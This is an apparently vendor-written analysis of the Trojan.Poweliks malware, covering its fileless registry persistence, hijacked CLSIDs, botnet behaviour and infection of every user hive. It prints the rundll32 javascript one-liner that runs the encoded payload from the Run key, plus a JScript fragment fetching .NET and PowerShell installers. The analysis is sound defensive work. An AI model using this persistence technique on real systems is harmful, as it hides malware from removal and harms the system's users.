Trojan.Poweliks is now at its third major version and currently pushes adware, redirects browser search pages to advertising sites for certain keywords or patterns and exhibits clicker features.

            The Broadcom CrystalHD driver (already installed on some computers) is also used to hook certain video-decoding events. These are referenced inside the malware from the following locations:
            C:\\Program Files\\Broadcom\\Broadcom CrystalHD Decoder\\bcmDIL.dll
            C:\\Program Files (x86)\\Broadcom\\Broadcom CrystalHD Decoder\\bcmDIL.dll

After infection, the malware payload is written to the Windows registry in an encrypted form, so as to prevent attempts at removal by file-based detection. In order to execute after each restart from the registry, Poweliks uses features provided by Windows and Windows PowerShell. A start-up registry entry is created that uses the Windows executable rundll32.exe to execute obfuscated code that is capable of extracting and executing the payload stored in another registry path. This value is usually malformed as to prevent common tools from deleting it.

The following piece of code executes the malware body stored inside registry:

rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write("\\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\")+"\\74/script>")

To prevent user access to its registry values, Poweliks creates an empty malformed sub-key in the same key, so attempts to open the key would result in a reading error. The second version also removes user permissions on the malware assets. Attempting to delete registry entries for this second version will result in frequent system errors, as it hijacks some operating system maintained CLSIDs (COM Object identifiers). These entries must be restored during malware removal.

During infection, the malware ensures that the system is capable of running PowerShell scripts by silently checking for, and installing, any missing .Net Framework and PowerShell components from the Microsoft Update site.

The following piece of code, downloads Windows PowerShell and DotNet Framework in order to have a working execution environment.

            wv=f.GetFileVersion(w+"\\\\notepad.exe").split(".");
            ud="";
            up="";
            switch(wv[0])
            {
            case "5":
                if(i64)
                {
                    ud="http://download.microsoft.com/download/9/8/6/98610406-c2b7-45a4-bdc3-9db1b1c5f7e2/NetFx20SP1_x64.exe";
                    up="http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe";
                }
                else
                {
                    ud="http://download.microsoft.com/download/0/8/c/08c19fa4-4c4f-4ffb-9d6c-150906578c9e/NetFx20SP1_x86.exe";
                    up="http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe";
                }
                break;

            case "6":
                switch(wv[1])
                {
                    case "0":
                    if(i64)
                    {
                        up="http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu";
                    }
                    else
                    {
                        up="http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu";
                    }
                    break;
                }
                break;
            }

Infected systems will send user data and communicate with certain servers, joining the user systems to a botnet managed by the malware authors. To encumber analysis, anti-debugging techniques are used, including successive unpacking stages, spanned over serveral Windows processes, each with several execution threads accomplishing a specific task. Thus, infected systems always have at least one system process hosting and running the injected malware payload.

The third version of Poweliks starts as a script stored in a value named "rundll32" from the Run registry key of the user. Then it injects the malware payload, which is now stored in a registry key named " xsw" under the SOFTWARE key of the infected user. The novelty of this version is infects the registry hives of all the users present on the system, event those who are not logged in at the time of the infection, including the default user hive, which serves as a template for new users, so when a new user is created, it will be already infected.

다운로드 센터